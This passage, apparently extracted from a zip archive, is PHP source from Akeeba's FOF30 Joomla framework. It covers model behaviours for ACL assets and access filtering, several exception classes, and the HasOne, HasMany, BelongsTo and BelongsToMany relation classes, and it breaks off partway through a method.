Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use Exception; use FOF30\Event\Observer; use FOF30\Model\DataModel; use Joomla\CMS\Access\Rules; use Joomla\CMS\Table\Table; /** * FOF model behavior class to add Joomla! ACL assets support * * @since 2.1 */ class Assets extends Observer { public function onAfterSave(DataModel &$model) { if (!$model->hasField('asset_id') || !$model->isAssetsTracked()) { return true; } $assetFieldAlias = $model->getFieldAlias('asset_id'); $currentAssetId = $model->getFieldValue('asset_id'); unset($model->$assetFieldAlias); // Create the object used for inserting/updating data to the database $fields = $model->getTableFields(); // Let's remove the asset_id field, since we unset the property above and we would get a PHP notice if (isset($fields[$assetFieldAlias])) { unset($fields[$assetFieldAlias]); } // Asset Tracking $parentId = $model->getAssetParentId(); $name = $model->getAssetName(); $title = $model->getAssetTitle(); $asset = Table::getInstance('Asset'); $asset->loadByName($name); // Re-inject the asset id. $this->$assetFieldAlias = $asset->id; // Check for an error. $error = $asset->getError(); // Since we are using JTable, there is no way to mock it and test for failures :( // @codeCoverageIgnoreStart if ($error) { throw new Exception($error); } // @codeCoverageIgnoreEnd // Specify how a new or moved node asset is inserted into the tree. // Since we're unsetting the table field before, this statement is always true... if (empty($model->$assetFieldAlias) || $asset->parent_id != $parentId) { $asset->setLocation($parentId, 'last-child'); } // Prepare the asset to be stored. $asset->parent_id = $parentId; $asset->name = $name; $asset->title = $title; if ($model->getRules() instanceof Rules) { $asset->rules = (string) $model->getRules(); } // Since we are using JTable, there is no way to mock it and test for failures :( // @codeCoverageIgnoreStart if (!$asset->check() || !$asset->store()) { throw new Exception($asset->getError()); } // @codeCoverageIgnoreEnd // Create an asset_id or heal one that is corrupted. if (empty($model->$assetFieldAlias) || (($currentAssetId != $model->$assetFieldAlias) && !empty($model->$assetFieldAlias))) { // Update the asset_id field in this table. $model->$assetFieldAlias = (int) $asset->id; $k = $model->getKeyName(); $db = $model->getDbo(); $query = $db->getQuery(true) ->update($db->qn($model->getTableName())) ->set($db->qn($assetFieldAlias) . ' = ' . (int) $model->$assetFieldAlias) ->where($db->qn($k) . ' = ' . (int) $model->$k); $db->setQuery($query)->execute(); } return true; } public function onAfterBind(DataModel &$model, &$src) { if (!$model->isAssetsTracked()) { return true; } $rawRules = []; if (is_array($src) && array_key_exists('rules', $src) && is_array($src['rules'])) { $rawRules = $src['rules']; } elseif (is_object($src) && isset($src->rules) && is_array($src->rules)) { $rawRules = $src->rules; } if (empty($rawRules)) { return true; } // Bind the rules. if (isset($rawRules) && is_array($rawRules)) { // We have to manually remove any empty value, since they will be converted to int, // and "Inherited" values will become "Denied". Joomla is doing this manually, too. $rules = []; foreach ($rawRules as $action => $ids) { // Build the rules array. $rules[$action] = []; foreach ($ids as $id => $p) { if ($p !== '') { $rules[$action][$id] = ($p == '1' || $p == 'true') ? true : false; } } } $model->setRules($rules); } return true; } public function onBeforeDelete(DataModel &$model, $oid) { if (!$model->isAssetsTracked()) { return true; } $k = $model->getKeyName(); // If the table is not loaded, let's try to load it with the id if (!$model->$k) { $model->load($oid); } // If I have an invalid assetName I have to stop $name = $model->getAssetName(); // Do NOT touch JTable here -- we are loading the core asset table which is a JTable, not a FOF Table $asset = Table::getInstance('Asset'); if ($asset->loadByName($name)) { // Since we are using JTable, there is no way to mock it and test for failures :( // @codeCoverageIgnoreStart if (!$asset->delete()) { throw new Exception($asset->getError()); } // @codeCoverageIgnoreEnd } return true; } } PK���\��*fof30/Model/DataModel/Behaviour/Access.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use JDatabaseQuery; /** * FOF model behavior class to filter access to items based on the viewing access levels. * * @since 2.1 */ class Access extends Observer { /** * This event runs after we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onAfterBuildQuery(&$model, &$query) { // Make sure the field actually exists if (!$model->hasField('access')) { return; } $model->applyAccessFiltering(null); } /** * The event runs after DataModel has retrieved a single item from the database. It is used to apply automatic * filters. * * @param DataModel &$model The model which was called * @param Array &$keys The keys used to locate the record which was loaded * * @return void */ public function onAfterLoad(&$model, &$keys) { // Make sure we have a DataModel if (!($model instanceof DataModel)) { return; } // Make sure the field actually exists if (!$model->hasField('access')) { return; } // Get the user $user = $model->getContainer()->platform->getUser(); $recordAccessLevel = $model->getFieldValue('access', null); // Filter by authorised access levels if (!in_array($recordAccessLevel, $user->getAuthorisedViewLevels())) { $model->reset(true); } } } PK���\�䕱 3fof30/Model/DataModel/Behaviour/RelationFilters.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use JDatabaseQuery; use Joomla\Registry\Registry; class RelationFilters extends Observer { /** * This event runs after we have built the query used to fetch a record list in a model. It is used to apply * automatic query filters based on model relations. * * @param DataModel & $model The model which calls this event * @param JDatabaseQuery & $query The query we are manipulating * * @return void */ public function onAfterBuildQuery(&$model, &$query) { $relationFilters = $model->getRelationFilters(); foreach ($relationFilters as $filterState) { $relationName = $filterState['relation']; $tableAlias = $model->getBehaviorParam('tableAlias', null); $subQuery = $model->getRelations()->getCountSubquery($relationName, $tableAlias); // Callback method needs different handling if (isset($filterState['method']) && ($filterState['method'] == 'callback')) { call_user_func_array($filterState['value'], [&$subQuery]); $filterState['method'] = 'search'; $filterState['operator'] = '>='; $filterState['value'] = '1'; } $options = class_exists('JRegistry') ? new Registry($filterState) : new Registry($filterState); $filter = new DataModel\Filter\Relation($model->getDbo(), $relationName, $subQuery); $methods = $filter->getSearchMethods(); $method = $options->get('method', $filter->getDefaultSearchMethod()); if (!in_array($method, $methods)) { $method = 'exact'; } switch ($method) { case 'between': case 'outside': $sql = $filter->$method($options->get('from', null), $options->get('to')); break; case 'interval': $sql = $filter->$method($options->get('value', null), $options->get('interval')); break; case 'search': $sql = $filter->$method($options->get('value', null), $options->get('operator', '=')); break; default: $sql = $filter->$method($options->get('value', null)); break; } if ($sql) { $query->where($sql); } } } } PK���\���m��0fof30/Model/DataModel/Behaviour/EmptyNonZero.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use JDatabaseQuery; /** * FOF model behavior class to let the Filters behaviour know that zero value is a valid filter value * * @since 2.1 */ class EmptyNonZero extends Observer { /** * This event runs after we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onAfterBuildQuery(&$model, &$query) { $model->setBehaviorParam('filterZero', 1); } } PK���\8�m�NN=fof30/Model/DataModel/Exception/CannotLockNotLoadedRecord.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class CannotLockNotLoadedRecord extends BaseException { public function __construct($message = '', $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_CANNOTLOCKNOTLOADEDRECORD'); } parent::__construct($message, $code, $previous); } } PK���\9-773fof30/Model/DataModel/Exception/RecordNotLoaded.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class RecordNotLoaded extends BaseException { public function __construct($message = "", $code = 404, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_COULDNOTLOAD'); } parent::__construct($message, $code, $previous); } } PK���\̉OhJJ9fof30/Model/DataModel/Exception/TreeUnsupportedMethod.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use LogicException; class TreeUnsupportedMethod extends LogicException { public function __construct($method = '', $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_MODEL_ERR_TREE_UNSUPPORTEDMETHOD', $method); parent::__construct($message, $code, $previous); } } PK���\�;�9YY.fof30/Model/DataModel/Exception/NoAssetKey.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use UnexpectedValueException; class NoAssetKey extends UnexpectedValueException { public function __construct($message = '', $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_NOASSETKEY'); } parent::__construct($message, $code, $previous); } } PK���\��8MM?fof30/Model/DataModel/Exception/TreeMethodOnlyAllowedInRoot.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class TreeMethodOnlyAllowedInRoot extends RuntimeException { public function __construct($method = '', $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_MODEL_ERR_TREE_ONLYINROOT', $method); parent::__construct($message, $code, $previous); } } PK���\���!!2fof30/Model/DataModel/Exception/NoTableColumns.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; class NoTableColumns extends BaseException { } PK���\7���::1fof30/Model/DataModel/Exception/BaseException.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use RuntimeException; class BaseException extends RuntimeException { } PK���\���##0fof30/Model/DataModel/Exception/NoItemsFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class NoItemsFound extends BaseException { public function __construct($className, $code = 404, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_MODEL_ERR_NOITEMSFOUND', $className); parent::__construct($message, $code, $previous); } } PK���\���''8fof30/Model/DataModel/Exception/SpecialColumnMissing.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; class SpecialColumnMissing extends BaseException { } PK���\�[��RR<fof30/Model/DataModel/Exception/TreeInvalidLftRgtSibling.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeInvalidLftRgtSibling extends TreeInvalidLftRgt { public function __construct($message = '', $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_TREE_INVALIDLFTRGT_SIBLING'); } parent::__construct($message, $code, $previous); } } PK���\.}QQQ4fof30/Model/DataModel/Exception/TreeRootNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; class TreeRootNotFound extends RuntimeException { public function __construct($tableName, $lft, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_MODEL_ERR_TREE_ROOTNOTFOUND', $tableName, $lft); parent::__construct($message, $code, $previous); } } PK���\�*0dnn<fof30/Model/DataModel/Exception/TreeUnexpectedPrimaryKey.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use UnexpectedValueException; class TreeUnexpectedPrimaryKey extends UnexpectedValueException { public function __construct($message = '', $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_TREE_UNEXPECTEDPK'); } parent::__construct($message, $code, $previous); } } PK���\�ѥ!RR<fof30/Model/DataModel/Exception/TreeInvalidLftRgtCurrent.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeInvalidLftRgtCurrent extends TreeInvalidLftRgt { public function __construct($message = '', $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_TREE_INVALIDLFTRGT_CURRENT'); } parent::__construct($message, $code, $previous); } } PK���\�����5fof30/Model/DataModel/Exception/TreeInvalidLftRgt.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use RuntimeException; abstract class TreeInvalidLftRgt extends RuntimeException { public function __construct($message = '', $code = 500, Exception $previous = null) { parent::__construct($message, $code, $previous); } } PK���\�[��NN1fof30/Model/DataModel/Exception/NoContentType.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use UnexpectedValueException; class NoContentType extends UnexpectedValueException { public function __construct($className, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_MODEL_ERR_NOCONTENTTYPE', $className); parent::__construct($message, $code, $previous); } } PK���\ԫ%gNN:fof30/Model/DataModel/Exception/TreeInvalidLftRgtOther.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeInvalidLftRgtOther extends TreeInvalidLftRgt { public function __construct($message = '', $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_TREE_INVALIDLFTRGT_OTHER'); } parent::__construct($message, $code, $previous); } } PK���\��L�PP;fof30/Model/DataModel/Exception/TreeInvalidLftRgtParent.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class TreeInvalidLftRgtParent extends TreeInvalidLftRgt { public function __construct($message = '', $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_TREE_INVALIDLFTRGT_PARENT'); } parent::__construct($message, $code, $previous); } } PK���\,l4�__9fof30/Model/DataModel/Exception/TreeIncompatibleTable.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use UnexpectedValueException; class TreeIncompatibleTable extends UnexpectedValueException { public function __construct($tableName, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_MODEL_ERR_TREE_INCOMPATIBLETABLE', $tableName); parent::__construct($message, $code, $previous); } } PK���\��!&&7fof30/Model/DataModel/Exception/InvalidSearchMethod.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Exception; defined('_JEXEC') || die; class InvalidSearchMethod extends BaseException { } PK���\�[�oo)fof30/Model/DataModel/Relation/HasOne.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation; defined('_JEXEC') || die; use FOF30\Model\DataModel; use FOF30\Model\DataModel\Collection; /** * HasOne (straight 1-to-1) relation: this model is a parent which has exactly one child in the foreign table * * For example, parentModel is Users and foreignModel is Phones. Each uses has exactly one Phone. */ class HasOne extends HasMany { /** * Get the relation data. * * If you want to apply additional filtering to the foreign model, use the $callback. It can be any function, * static method, public method or closure with an interface of function(DataModel $foreignModel). You are not * supposed to return anything, just modify $foreignModel's state directly. For example, you may want to do: * $foreignModel->setState('foo', 'bar') * * @param callable $callback The callback to run on the remote model. * @param Collection $dataCollection * * @return Collection|DataModel */ public function getData($callback = null, Collection $dataCollection = null) { if (is_null($dataCollection)) { return parent::getData($callback, $dataCollection)->first(); } else { return parent::getData($callback, $dataCollection); } } } PK���\��W��*fof30/Model/DataModel/Relation/HasMany.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation; defined('_JEXEC') || die; use FOF30\Model\DataModel; use FOF30\Model\DataModel\Relation; use JDatabaseQuery; /** * HasMany (1-to-many) relation: this model is a parent which has zero or more children in the foreign table * * For example, parentModel is Users and foreignModel is Articles. Each user has zero or more articles. */ class HasMany extends Relation { /** * Public constructor. Initialises the relation. * * @param DataModel $parentModel The data model we are attached to * @param string $foreignModelName The name of the foreign key's model in the format * "modelName@com_something" * @param string $localKey The local table key for this relation, default: parentModel's ID field * name * @param string $foreignKey The foreign key for this relation, default: parentModel's ID field name * @param string $pivotTable IGNORED * @param string $pivotLocalKey IGNORED * @param string $pivotForeignKey IGNORED */ public function __construct(DataModel $parentModel, $foreignModelName, $localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { parent::__construct($parentModel, $foreignModelName, $localKey, $foreignKey, $pivotTable, $pivotLocalKey, $pivotForeignKey); if (empty($this->localKey)) { $this->localKey = $parentModel->getIdFieldName(); } if (empty($this->foreignKey)) { $this->foreignKey = $this->localKey; } } /** * Returns the count sub-query for DataModel's has() and whereHas() methods. * * @param string $tableAlias The alias of the local table in the query. Leave blank to use the table's name. * * @return JDatabaseQuery */ public function getCountSubquery($tableAlias = null) { // Get a model instance $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $db = $foreignModel->getDbo(); if (empty($tableAlias)) { $tableAlias = $this->parentModel->getTableName(); } $query = $db->getQuery(true) ->select('COUNT(*)') ->from($db->qn($foreignModel->getTableName(), 'reltbl')) ->where($db->qn('reltbl') . '.' . $db->qn($foreignModel->getFieldAlias($this->foreignKey)) . ' = ' . $db->qn($tableAlias) . '.' . $db->qn($this->parentModel->getFieldAlias($this->localKey))); return $query; } /** * Returns a new item of the foreignModel type, pre-initialised to fulfil this relation * * @return DataModel * * @throws DataModel\Relation\Exception\NewNotSupported when it's not supported */ public function getNew() { // Get a model instance $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); // Prime the model $foreignModel->setFieldValue($this->foreignKey, $this->parentModel->getFieldValue($this->localKey)); // Make sure we do have a data list if (!($this->data instanceof DataModel\Collection)) { $this->getData(); } // Add the model to the data list $this->data->add($foreignModel); return $this->data->last(); } /** * Applies the relation filters to the foreign model when getData is called * * @param DataModel $foreignModel The foreign model you're operating on * @param DataModel\Collection $dataCollection If it's an eager loaded relation, the collection of loaded * parent records * * @return boolean Return false to force an empty data collection */ protected function filterForeignModel(DataModel $foreignModel, DataModel\Collection $dataCollection = null) { // Decide how to proceed, based on eager or lazy loading if (is_object($dataCollection)) { // Eager loaded relation if (!empty($dataCollection)) { // Get a list of local keys from the collection $values = []; /** @var $item DataModel */ foreach ($dataCollection as $item) { $v = $item->getFieldValue($this->localKey, null); if (!is_null($v)) { $values[] = $v; } } // Keep only unique values. This double step is required to re-index the array and avoid issues with // Joomla Registry class. See issue #681 $values = array_values(array_unique($values)); // Apply the filter if (!empty($values)) { $foreignModel->where($this->foreignKey, 'in', $values); } else { return false; } } else { return false; } } else { // Lazy loaded relation; get the single local key $localKey = $this->parentModel->getFieldValue($this->localKey, null); if (is_null($localKey) || ($localKey === '')) { return false; } $foreignModel->where($this->foreignKey, '==', $localKey); } return true; } } PK���\MM�o� � ,fof30/Model/DataModel/Relation/BelongsTo.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation; defined('_JEXEC') || die; use FOF30\Model\DataModel; /** * BelongsTo (reverse 1-to-1 or 1-to-many) relation: this model is a child which belongs to the foreign table * * For example, parentModel is Articles and foreignModel is Users. Each article belongs to one user. One user can have * one or more article. * * Example #2: parentModel is Phones and foreignModel is Users. Each phone belongs to one user. One user can have zero * or one phones. */ class BelongsTo extends HasOne { /** * Public constructor. Initialises the relation. * * @param DataModel $parentModel The data model we are attached to * @param string $foreignModelName The name of the foreign key's model in the format * "modelName@com_something" * @param string $localKey The local table key for this relation, default: parentModel's ID field * name * @param string $foreignKey The foreign key for this relation, default: parentModel's ID field name * @param string $pivotTable IGNORED * @param string $pivotLocalKey IGNORED * @param string $pivotForeignKey IGNORED */ public function __construct(DataModel $parentModel, $foreignModelName, $localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { parent::__construct($parentModel, $foreignModelName, $localKey, $foreignKey, $pivotTable, $pivotLocalKey, $pivotForeignKey); if (empty($localKey)) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $this->localKey = $foreignModel->getIdFieldName(); } if (empty($foreignKey)) { if (!isset($foreignModel)) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); } $this->foreignKey = $foreignModel->getIdFieldName(); } } /** * This is not supported by the belongsTo relation * * @throws DataModel\Relation\Exception\NewNotSupported when it's not supported */ public function getNew() { throw new DataModel\Relation\Exception\NewNotSupported("getNew() is not supported by the belongsTo relation type"); } } PK���\��Q;;Afof30/Model/DataModel/Relation/Exception/RelationTypeNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; use Exception; class RelationTypeNotFound extends Exception { } PK���\�m�99?fof30/Model/DataModel/Relation/Exception/PivotTableNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; use Exception; class PivotTableNotFound extends Exception { } PK���\�66<fof30/Model/DataModel/Relation/Exception/NewNotSupported.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; use Exception; class NewNotSupported extends Exception { } PK���\V��77=fof30/Model/DataModel/Relation/Exception/SaveNotSupported.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; use Exception; class SaveNotSupported extends Exception { } PK���\c���;;Afof30/Model/DataModel/Relation/Exception/ForeignModelNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; use Exception; class ForeignModelNotFound extends Exception { } PK���\.�I�77=fof30/Model/DataModel/Relation/Exception/RelationNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; use Exception; class RelationNotFound extends Exception { } PK���\Hlo�.�.0fof30/Model/DataModel/Relation/BelongsToMany.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Relation; defined('_JEXEC') || die; use FOF30\Model\DataModel; use FOF30\Model\DataModel\Relation; use JDatabaseQuery; /** * BelongsToMany (many-to-many) relation: one or more records of this model are related to one or more records in the * foreign model. * * For example, parentModel is Users and foreignModel is Groups. Each user can be assigned to many groups. Each group * can be assigned to many users. */ class BelongsToMany extends Relation { /** * Public constructor. Initialises the relation. * * @param DataModel $parentModel The data model we are attached to * @param string $foreignModelName The name of the foreign key's model in the format * "modelName@com_something" * @param string $localKey The local table key for this relation, default: parentModel's ID field * name * @param string $foreignKey The foreign key for this relation, default: parentModel's ID field name * @param string $pivotTable For many-to-many relations, the pivot (glue) table * @param string $pivotLocalKey For many-to-many relations, the pivot table's column storing the local * key * @param string $pivotForeignKey For many-to-many relations, the pivot table's column storing the foreign * key * * @throws DataModel\Relation\Exception\PivotTableNotFound */ public function __construct(DataModel $parentModel, $foreignModelName, $localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { parent::__construct($parentModel, $foreignModelName, $localKey, $foreignKey, $pivotTable, $pivotLocalKey, $pivotForeignKey); if (empty($localKey)) { $this->localKey = $parentModel->getIdFieldName(); } if (empty($pivotLocalKey)) { $this->pivotLocalKey = $this->localKey; } if (empty($foreignKey)) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $this->foreignKey = $foreignModel->getIdFieldName(); } if (empty($pivotForeignKey)) { $this->pivotForeignKey = $this->foreignKey; } if (empty($pivotTable)) { // Get the local model's name (e.g. "users") $localName = $parentModel->getName(); $localName = strtolower($localName); // Get the foreign model's name (e.g. "groups") if (!isset($foreignModel)) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); } $foreignName = $foreignModel->getName(); $foreignName = strtolower($foreignName); // Get the local model's app name $parentModelBareComponent = $parentModel->getContainer()->bareComponentName; $foreignModelBareComponent = $foreignModel->getContainer()->bareComponentName; // There are two possibilities for the table name: #__component_local_foreign or #__component_foreign_local. // There are also two possibilities for a component name (local or foreign model's) $db = $parentModel->getDbo(); $prefix = $db->getPrefix(); $tableNames = [ '#__' . strtolower($parentModelBareComponent) . '_' . $localName . '_' . $foreignName, '#__' . strtolower($parentModelBareComponent) . '_' . $foreignName . '_' . $localName, '#__' . strtolower($foreignModelBareComponent) . '_' . $localName . '_' . $foreignName, '#__' . strtolower($foreignModelBareComponent) . '_' . $foreignName . '_' . $localName, ]; $allTables = $db->getTableList(); $this->pivotTable = null; foreach ($tableNames as $tableName) { $checkName = $prefix . substr($tableName, 3); if (in_array($checkName, $allTables)) { $this->pivotTable = $tableName; } } if (empty($this->pivotTable)) { throw new DataModel\Relation\Exception\PivotTableNotFound("Pivot table for many-to-many relation between '$localName and '$foreignName' not found'"); } } } /** * Populates the internal $this->data collection from the contents of the provided collection. This is used by * DataModel to push the eager loaded data into each item's relation. * * @param DataModel\Collection $data The relation data to push into this relation * @param mixed $keyMap Passes around the local to foreign key map * * @return void */ public function setDataFromCollection(DataModel\Collection &$data, $keyMap = null) { $this->data = new DataModel\Collection(); if (!is_array($keyMap)) { return; } if (!empty($data)) { // Get the local key value $localKeyValue = $this->parentModel->getFieldValue($this->localKey); // Make sure this local key exists in the (cached) pivot table if (!isset($keyMap[$localKeyValue])) { return; } /** @var DataModel $item */ foreach ($data as $key => $item) { // Only accept foreign items whose key is associated in the pivot table with our local key if (in_array($item->getFieldValue($this->foreignKey), $keyMap[$localKeyValue])) { $this->data->add($item); } } } } /** * Returns the count sub-query for DataModel's has() and whereHas() methods. * * @param string $tableAlias The alias of the local table in the query. Leave blank to use the table's name. * * @return JDatabaseQuery */ public function getCountSubquery($tableAlias = 